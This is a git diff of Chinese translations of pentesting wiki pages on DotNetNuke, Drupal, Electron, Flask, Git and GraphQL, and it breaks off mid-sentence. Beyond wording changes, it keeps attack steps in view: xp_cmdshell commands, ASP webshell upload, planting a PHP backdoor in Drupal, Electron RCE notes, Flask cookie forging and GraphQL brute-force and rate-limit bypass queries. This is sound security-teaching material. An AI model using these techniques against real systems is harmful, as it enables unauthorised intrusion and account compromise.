a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 1ac559eb4..4e4e88334 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -21,7 +21,7 @@ RECONFIGURE ``` 然后,按 **"Run Script"** 运行该 SQL 语句。 -然后,使用以下内容运行 OS 命令: +接着,使用以下内容运行 OS 命令: ```sql xp_cmdshell 'whoami' ``` @@ -31,7 +31,7 @@ xp_cmdshell 'whoami' 添加 **`asp`** 或 **`aspx`**,然后在 **`/admin/file-management`** 上传一个名为 `shell.asp` 的 **asp webshell**。 -然后访问 **`/Portals/0/shell.asp`** 来访问您的 webshell。 +然后访问 **`/Portals/0/shell.asp`** 以访问您的 webshell。 ### 权限提升 diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md index ed8257b82..afc311875 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/README.md +++ b/src/network-services-pentesting/pentesting-web/drupal/README.md @@ -30,7 +30,7 @@ Drupal 7.57, 2018-02-21 Drupal默认支持**三种类型的用户**: -1. **`Administrator`**:该用户对Drupal网站拥有完全控制权。 +1. **`Administrator`**:此用户对Drupal网站拥有完全控制权。 2. **`Authenticated User`**:这些用户可以登录网站并根据其权限执行添加和编辑文章等操作。 3. **`Anonymous`**:所有网站访问者被指定为匿名用户。默认情况下,这些用户仅被允许阅读帖子。 @@ -42,7 +42,7 @@ Drupal默认支持**三种类型的用户**: ### 隐藏页面 -只需通过查看**`/node/FUZZ`**来查找新页面,其中**`FUZZ`**是一个数字(例如从1到1000)。 +只需通过查看**`/node/FUZZ`**来查找新页面,其中**`FUZZ`**是一个数字(例如从1到1000)。 ### 已安装模块信息 ```bash diff --git a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md index 1f976650c..9447c804f 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md +++ b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -5,11 +5,11 @@ ## 使用 PHP 过滤器模块 > [!WARNING] -> 在旧版本的 Drupal **(8 之前)**,可以以管理员身份登录并 **启用 `PHP filter` 模块**,该模块“允许嵌入的 PHP 代码/片段被评估。”但从版本 8 开始,此模块默认未安装。 +> 在旧版本的 Drupal **(8 之前)**,可以以管理员身份登录并 **启用 `PHP filter` 模块**,该模块“允许嵌入的 PHP 代码/片段被评估。”但从版本 8 开始,该模块默认未安装。 -1. 转到 **/modules/php**,如果返回 403 错误,则 **PHP 过滤器插件已安装,您可以继续** -1. 如果没有,请转到 `Modules` 并勾选 `PHP Filter` 的框,然后点击 `Save configuration` -2. 然后,为了利用它,点击 `Add content`,选择 `Basic Page` 或 `Article` 并编写 **PHP 后门**,然后在文本格式中选择 `PHP` 代码,最后选择 `Preview` +1. 访问 **/modules/php**,如果返回 403 错误,则 **PHP 过滤器插件已安装,可以继续** +1. 如果没有,转到 `Modules` 并勾选 `PHP Filter` 的框,然后点击 `Save configuration` +2. 然后,为了利用它,点击 `Add content`,选择 `Basic Page` 或 `Article`,并编写 **PHP 后门**,然后在文本格式中选择 `PHP` 代码,最后选择 `Preview` 3. 要触发它,只需访问新创建的节点: ```bash curl http://drupal.local/node/3 @@ -19,9 +19,9 @@ curl http://drupal.local/node/3 > [!WARNING] > 在当前版本中,仅通过访问网页在默认安装后安装插件已不再可能。 -从 **8 版本开始,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **模块不再默认安装**。要利用此功能,我们必须 **自己安装该模块**。 +从 **8 版本开始,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **模块默认不安装**。要利用此功能,我们必须 **自己安装模块**。 -1. 从 Drupal 网站下载该模块的最新版本。 +1. 从 Drupal 网站下载模块的最新版本。 1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz` 2. 下载完成后,前往 **`Administration`** > **`Reports`** > **`Available updates`**。 3. 点击 **`Browse`**,从我们下载的目录中选择文件,然后点击 **`Install`**。 @@ -44,7 +44,7 @@ curl http://drupal.local/node/3 ### 第1部分(激活 _Media_ 和 _Media Library_) -在 _Extend_ 菜单 (/admin/modules) 中,您可以激活看似已经安装的插件。默认情况下,插件 _Media_ 和 _Media Library_ 并未激活,因此我们来激活它们。 +在 _Extend_ 菜单 (/admin/modules) 中,您可以激活看似已经安装的插件。默认情况下,插件 _Media_ 和 _Media Library_ 似乎未被激活,因此让我们激活它们。 激活前: @@ -65,9 +65,9 @@ curl http://drupal.local/node/3 **补丁 system.file.yml** -让我们开始修补第一个条目 `allow_insecure_uploads`: +让我们从补丁第一个条目 `allow_insecure_uploads` 开始: -文件: system.file.yml +文件:system.file.yml ``` ... @@ -121,7 +121,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od ... ``` -> 我在这篇博客中没有使用它,但需要注意的是,可以以任意方式定义条目 `file_directory`,并且它容易受到路径遍历攻击(因此我们可以在Drupal文件系统树中向上返回)。 +> 我在这篇博客中没有使用它,但需要注意的是,可以以任意方式定义入口 `file_directory`,并且它容易受到路径遍历攻击(因此我们可以在Drupal文件系统树中向上返回)。
@@ -210,7 +210,7 @@ programs whose distribution conditions are different, write to the author 最后一部分是与 Webshell 进行交互。 -如以下截图所示,如果我们的 Webshell 期望的 cookie 未定义,当通过 Web 浏览器查询文件时,我们会得到后续结果。 +如以下截图所示,如果我们的 Webshell 期望的 cookie 未定义,我们在通过 Web 浏览器查询文件时会得到后续结果。
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index c494fce5f..2f90d5c55 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -20,7 +20,7 @@ npx asar extract-file app.asar main.js #Extract just a file Electron 有 2 种进程类型: - 主进程(完全访问 NodeJS) -- 渲染进程(出于安全原因,应该限制对 NodeJS 的访问) +- 渲染进程(出于安全原因,应该限制 NodeJS 的访问) ![](<../../../images/image (182).png>) @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -一些 **RCE payloads** 来自 [这里](https://7as.es/electron/nodeIntegration_rce.txt): +一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): ``` -> [!NOTE] > **如果 `contextIsolation` 开启,这将不起作用** +> [!NOTE] > **如果 `contextIsolation` 开启,这将无法工作** ## RCE: XSS + contextIsolation -_**contextIsolation**_ 引入了 **网页脚本与 JavaScript Electron 内部代码之间的分离上下文**,使得每段代码的 JavaScript 执行不会相互影响。这是消除 RCE 可能性的必要功能。 +_**contextIsolation**_ 引入了 **网页脚本与 JavaScript Electron 内部代码之间的分离上下文**,使得每段代码的 JavaScript 执行不会相互影响。这是消除 RCE 可能性的必要特性。 如果上下文没有被隔离,攻击者可以: @@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md ### 绕过点击事件 -如果在点击链接时应用了限制,您可能能够通过 **中间点击** 而不是常规的左键点击来绕过这些限制。 +如果在点击链接时应用了限制,你可能能够通过 **中间点击** 而不是常规的左键点击来绕过这些限制。 ```javascript window.addEventListener('click', (e) => { ``` @@ -187,7 +187,7 @@ window.addEventListener('click', (e) => { 在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**客户端远程代码执行 (RCE)** 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时得到了有效防止。 -当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这对应用程序的安全性和功能至关重要: +当用户与链接互动或打开新窗口时,会触发特定的事件监听器,这对应用程序的安全性和功能至关重要: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} @@ -200,7 +200,7 @@ webContents.on("will-navigate", function (event, url) {} ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容,因为这可能通过各种协议导致RCE。操作系统支持不同的协议,这些协议可能触发RCE。有关此主题的详细示例和进一步解释,可以参考[这个资源](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括能够利用此漏洞的Windows协议示例。 +Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容,因为这可能通过各种协议导致RCE。操作系统支持不同的协议,这些协议可能会触发RCE。有关此主题的详细示例和进一步解释,可以参考[这个资源](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括能够利用此漏洞的Windows协议示例。 **Windows协议漏洞的示例包括:** ```html @@ -246,14 +246,14 @@ frames[0].document.body.innerText ``` ## **RCE: XSS + 旧版 Chromium** -如果应用程序使用的 **chromium** 是 **旧版** 并且存在 **已知的** **漏洞**,那么可能可以通过 **XSS 利用它并获得 RCE**。\ +如果应用程序使用的 **chromium** 是 **旧版** 并且存在 **已知的漏洞**,那么可能可以通过 **XSS 利用它并获得 RCE**。\ 您可以在这个 **writeup** 中看到一个例子: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) -## **通过内部 URL 正则绕过进行 XSS 钓鱼** +## **通过内部 URL 正则表达式绕过进行 XSS 钓鱼** 假设您发现了一个 XSS,但您 **无法触发 RCE 或窃取内部文件**,您可以尝试利用它来 **通过钓鱼窃取凭据**。 -首先,您需要知道当您尝试打开一个新 URL 时会发生什么,检查前端的 JS 代码: +首先,您需要了解当您尝试打开一个新 URL 时,前端的 JS 代码会发生什么: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md index bb4c99c88..57c87cc08 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -46,7 +46,7 @@ location.reload() //Trigger the "exit" event 获取 **来自原型污染的 require 对象**。来自 [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) -泄露: +泄漏:
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md index 49ac4b442..f9241aa3a 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md @@ -86,7 +86,7 @@ shell.openExternal(url) ``` ## 示例 3 -如果预加载脚本暴露了与主进程完全通信的方式,XSS 将能够发送任何事件。这种影响取决于主进程在 IPC 方面暴露了什么。 +如果预加载脚本暴露了与主进程完全通信的方式,则 XSS 将能够发送任何事件。这种影响取决于主进程在 IPC 方面暴露了什么。 ```javascript window.electronListen = (event, cb) => { ipcRenderer.on(event, cb) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md index 56b02f967..b867fdd4e 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -33,12 +33,12 @@ return 1337 显然,加载和执行代码的另一种方法是访问类似 `file://127.0.0.1/electron/rce.jar` 的内容。 -## 示例 2:Discord 应用 RCE +## 示例 2:Discord 应用程序 RCE 来自 [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) 的示例 -在检查预加载脚本时,我发现 Discord 暴露了一个函数,允许通过 `DiscordNative.nativeModules.requireModule('MODULE-NAME')` 调用某些允许的模块到网页中。\ -在这里,我无法直接使用可以用于 RCE 的模块,例如 _child_process_ 模块,但我 **发现了一段代码,通过重写 JavaScript 内置方法可以实现 RCE**,并干扰暴露模块的执行。 +在检查预加载脚本时,我发现 Discord 暴露了一个函数,允许通过 `DiscordNative.nativeModules.requireModule('MODULE-NAME')` 调用某些允许的模块。\ +在这里,我无法直接使用可以用于 RCE 的模块,例如 _child_process_ 模块,但我 **发现了一段代码,通过重写 JavaScript 内置方法** 并干扰暴露模块的执行,可以实现 RCE。 以下是 PoC。我能够确认当我 **调用在 devTools 中名为 "_discord_utils_" 的模块中定义的 `getGPUDriverVersions` 函数** 时,**calc** 应用程序会 **弹出**,同时 **重写 `RegExp.prototype.test` 和 `Array.prototype.join`**。 ```javascript @@ -74,9 +74,3 @@ return result 通常,_execa_ 尝试执行 "_nvidia-smi.exe_",该路径在 `nvidiaSmiPath` 变量中指定,但由于重写的 `RegExp.prototype.test` 和 `Array.prototype.join`,**参数在 \_execa**\_** 的内部处理过程中被替换为 "**_**calc**_**"**。 具体来说,参数通过更改以下两个部分被替换。 - -[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) - -[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 31fe15ce4..e4b85b7a3 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -2,19 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -**如果你在进行CTF,Flask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**有关。** +**如果你在进行CTF,Flask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**相关。** ## Cookies -默认的cookie会话名称是 **`session`**。 +默认的cookie会话名称是**`session`**。 ### Decoder -在线Flask cookie解码器: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) +在线Flask cookie解码器:[https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) #### Manual -获取cookie的第一部分直到第一个点,并进行Base64解码> +获取cookie的第一部分,直到第一个点,然后进行Base64解码。 ```bash echo "ImhlbGxvIg" | base64 -d ``` @@ -46,17 +46,17 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** -命令行工具,用于使用通过flask-unsign制作的cookie对网站进行暴力破解。 +命令行工具,用于使用 flask-unsign 制作的 cookie 对网站进行暴力破解。 {% embed url="https://github.com/Tagvi/ripsession" %} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` -### SQLi in Flask session cookie with SQLmap +### SQLi 在 Flask 会话 cookie 中使用 SQLmap -[**这个例子**](../../pentesting-web/sql-injection/sqlmap/#eval) 使用 sqlmap `eval` 选项来 **自动签名 sqlmap 负载** 以用于 flask,使用已知的密钥。 +[**这个例子**](../../pentesting-web/sql-injection/sqlmap/#eval) 使用 sqlmap `eval` 选项来 **自动签名 sqlmap 负载** 以供 flask 使用已知的密钥。 -## Flask Proxy to SSRF +## Flask 代理到 SSRF [**在这篇文章中**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 解释了 Flask 如何允许以字符 "@" 开头的请求: ```http diff --git a/src/network-services-pentesting/pentesting-web/git.md b/src/network-services-pentesting/pentesting-web/git.md index b4d9059fa..35e85710a 100644 --- a/src/network-services-pentesting/pentesting-web/git.md +++ b/src/network-services-pentesting/pentesting-web/git.md @@ -14,10 +14,10 @@ 工具 [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) 在组织及其员工的代码库中搜索敏感数据。 -[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) 是一个基于命令行的工具,旨在帮助您发现开发人员意外推送的敏感数据所造成的 GitHub 秘密。与其他工具一样,它将帮助您找到密码、私钥、用户名、令牌等。 +[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) 是一个基于命令行的工具,旨在帮助您发现开发人员意外推送的敏感数据的 GitHub 秘密。与其他工具一样,它将帮助您找到密码、私钥、用户名、令牌等。 -[TruffleHog](https://github.com/dxa4481/truffleHog) 在 GitHub 仓库中搜索并深入挖掘提交历史和分支,寻找意外提交的秘密。 +[TruffleHog](https://github.com/dxa4481/truffleHog) 在 GitHub 存储库中搜索并挖掘提交历史记录和分支,寻找意外提交的秘密。 -在这里您可以找到关于 GitHub dorks 的研究:[https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks) +在这里您可以找到关于 github dorks 的研究:[https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 83d847c0c..1c51065c6 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -9,7 +9,7 @@ GraphQL 被 **强调** 为 REST API 的 **高效替代方案**,提供了一种 ## GraphQL 和安全性 -随着包括 GraphQL 在内的新技术的出现,新安全漏洞也随之而来。一个关键点是 **GraphQL 默认不包含身份验证机制**。开发者有责任实施这些安全措施。没有适当的身份验证,GraphQL 端点可能会将敏感信息暴露给未经过身份验证的用户,构成重大安全风险。 +随着新技术的出现,包括 GraphQL,新的安全漏洞也随之出现。一个关键点是 **GraphQL 默认不包含认证机制**。开发者有责任实施这些安全措施。没有适当的认证,GraphQL 端点可能会将敏感信息暴露给未认证的用户,构成重大安全风险。 ### 目录暴力攻击和 GraphQL @@ -28,7 +28,7 @@ GraphQL 被 **强调** 为 REST API 的 **高效替代方案**,提供了一种 ### 指纹识别 -工具 [**graphw00f**](https://github.com/dolevf/graphw00f) 能够检测服务器使用的 GraphQL 引擎,并打印一些对安全审计员有帮助的信息。 +工具 [**graphw00f**](https://github.com/dolevf/graphw00f) 能够检测服务器使用的 GraphQL 引擎,并打印一些对安全审计员有用的信息。 #### 通用查询 @@ -46,7 +46,7 @@ Graphql 通常支持 **GET**、**POST** (x-www-form-urlencoded) 和 **POST**(jso ```bash query={__schema{types{name,fields{name}}}} ``` -使用此查询,您将找到所有正在使用的类型的名称: +通过此查询,您将找到所有正在使用的类型的名称: ![](<../../images/image (1036).png>) ```bash @@ -181,7 +181,7 @@ name ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -您可以看到 "_Flags_" 对象由 **name** 和 **value** 组成。然后,您可以使用查询获取所有标志的名称和值: +您可以看到 "_Flags_" 对象由 **name** 和 **value** 组成。然后,您可以使用以下查询获取所有标志的名称和值: ```javascript query={flags{name, value}} ``` @@ -205,7 +205,7 @@ query = { hiddenFlags } 看起来它会使用类型为 _**Int**_ 的 "_**uid**_" 参数进行搜索。\ 无论如何,我们已经知道,在 [Basic Enumeration](graphql.md#basic-enumeration) 部分提出了一个查询,显示了所有所需的信息:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -如果你阅读提供的图像,当我运行那个查询时,你会看到 "_**user**_" 有一个类型为 _Int_ 的 **arg** "_**uid**_"。 +如果你阅读我运行该查询时提供的图像,你会看到 "_**user**_" 有一个类型为 _Int_ 的 **arg** "_**uid**_"。 因此,通过一些轻量级的 _**uid**_ 暴力破解,我发现 _**uid**=**1** 时检索到了一个用户名和密码:\ `query={user(uid:1){user,password}}` @@ -220,7 +220,7 @@ query = { hiddenFlags } **查询字符串转储技巧(感谢 @BinaryShadow\_)** -如果你可以通过字符串类型进行搜索,比如:`query={theusers(description: ""){username,password}}`,并且你**搜索一个空字符串**,它将**转储所有数据**。 (_注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_)。 +如果你可以通过字符串类型进行搜索,例如:`query={theusers(description: ""){username,password}}`,并且你**搜索一个空字符串**,它将**转储所有数据**。 (_注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_). ### 搜索 @@ -234,7 +234,7 @@ email } } ``` -您可以通过**姓名**搜索人员并获取他们**订阅的** **电影**: +您可以通过**名称**搜索人员并获取他们**订阅**的**电影**: ```javascript { searchPerson(name: "John Doe") { @@ -286,13 +286,13 @@ name **变更用于在服务器端进行更改。** -在 **自省** 中,您可以找到 **声明的** **变更**。在下图中,"_MutationType_" 被称为 "_Mutation_",而 "_Mutation_" 对象包含变更的名称(在本例中为 "_addPerson_"): +在 **introspection** 中,您可以找到 **声明的** **变更**。在下图中,"_MutationType_" 被称为 "_Mutation_",而 "_Mutation_" 对象包含变更的名称(在本例中为 "_addPerson_"): ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -在此设置中,**数据库** 包含 **人员** 和 **电影**。**人员** 通过他们的 **电子邮件** 和 **姓名** 进行识别;**电影** 通过它们的 **名称** 和 **评分** 进行识别。**人员** 可以彼此成为朋友,并且也可以拥有电影,表示数据库中的关系。 +在此设置中,**数据库** 包含 **人员** 和 **电影**。**人员** 通过他们的 **电子邮件** 和 **姓名** 进行识别;**电影** 通过它们的 **名称** 和 **评分** 进行识别。**人员** 可以互为朋友,并且也可以拥有电影,表示数据库中的关系。 -一个 **在数据库中创建新** 电影的变更可以像以下示例(在此示例中,变更被称为 `addMovie`): +一个 **在数据库中创建新** 电影的变更可以如下所示(在此示例中,变更被称为 `addMovie`): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -340,7 +340,7 @@ releaseYear ### 在1个API请求中批量暴力破解 此信息来自[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)。\ -通过GraphQL API进行身份验证,**同时发送多个不同凭据的查询**进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。此方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。 +通过GraphQL API进行身份验证,**同时发送多个不同凭据的查询**以进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。此方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。 下面是一个应用程序身份验证请求的最简单演示,**一次有3个不同的电子邮件/密码对**。显然,可以以相同的方式在单个请求中发送数千个: @@ -360,7 +360,7 @@ releaseYear ### 绕过GraphQL自省防御 -为了绕过API中对自省查询的限制,在`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在试图通过关注`__schema`关键字来阻止自省时在正则表达式模式中的常见疏忽。通过添加像**空格、换行符和逗号**这样的字符,GraphQL会忽略这些字符,但正则表达式可能没有考虑到,从而可以绕过限制。例如,在`__schema`后面带有换行符的自省查询可能会绕过这样的防御: +为了绕过API中对自省查询的限制,在`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在试图通过关注`__schema`关键字来阻止自省时常见的正则表达式模式的疏忽。通过添加像**空格、换行符和逗号**这样的字符,GraphQL会忽略这些字符,但正则表达式可能没有考虑到,从而可以绕过限制。例如,在`__schema`后面带有换行符的自省查询可能会绕过这样的防御: ```bash # Example with newline to bypass { @@ -398,7 +398,7 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **发现暴露的 GraphQL 结构** -当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到,提供有关 API 架构的见解,并揭示潜在的 **暴露的敏感查询**。在开发者工具中搜索的命令是: +当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到,提供有关 API 架构的见解,并揭示潜在的 **暴露敏感查询**。在开发者工具中搜索的命令是: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -426,7 +426,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A 但是,请注意,Chrome 的 `samesite` 标志的新默认 cookie 值为 `Lax`。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。 -请注意,通常也可以将 **查询** **请求** 作为 **GET** **请求发送,并且 CSRF 令牌可能不会在 GET 请求中进行验证。** +请注意,通常也可以将 **查询** **请求** 作为 **GET** **请求** 发送,并且 CSRF 令牌可能不会在 GET 请求中进行验证。 此外,利用 [**XS-Search**](../../pentesting-web/xs-search/) **攻击** 可能能够利用用户的凭据从 GraphQL 端点提取内容。 @@ -466,11 +466,11 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ## 使用 GraphQL 中的别名绕过速率限制 -在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时**明确命名属性**。这个功能对于在单个请求中检索**同一类型**对象的**多个实例**特别有用。别名可以用来克服 GraphQL 对象不能具有多个同名属性的限制。 +在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时**明确命名属性**。这个功能对于在单个请求中检索**同一类型**对象的**多个实例**特别有用。别名可以用来克服 GraphQL 对象不能具有同名多个属性的限制。 要详细了解 GraphQL 别名,推荐以下资源:[Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 -虽然别名的主要目的是减少大量 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,因此它们可以绕过此类速率限制措施。 +虽然别名的主要目的是减少多个 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,它们可以绕过此类速率限制措施。 考虑下面提供的示例,它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制,因为它将多个查询编译成一个 HTTP 请求,可能允许同时验证多个折扣代码。 ```bash @@ -498,11 +498,11 @@ curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -为了缓解这个问题,实施别名计数限制、查询复杂性分析或速率限制,以防止资源滥用。 +为了减轻这个问题,实施别名计数限制、查询复杂性分析或速率限制,以防止资源滥用。 ### **基于数组的查询批处理** -**基于数组的查询批处理**是一种漏洞,其中GraphQL 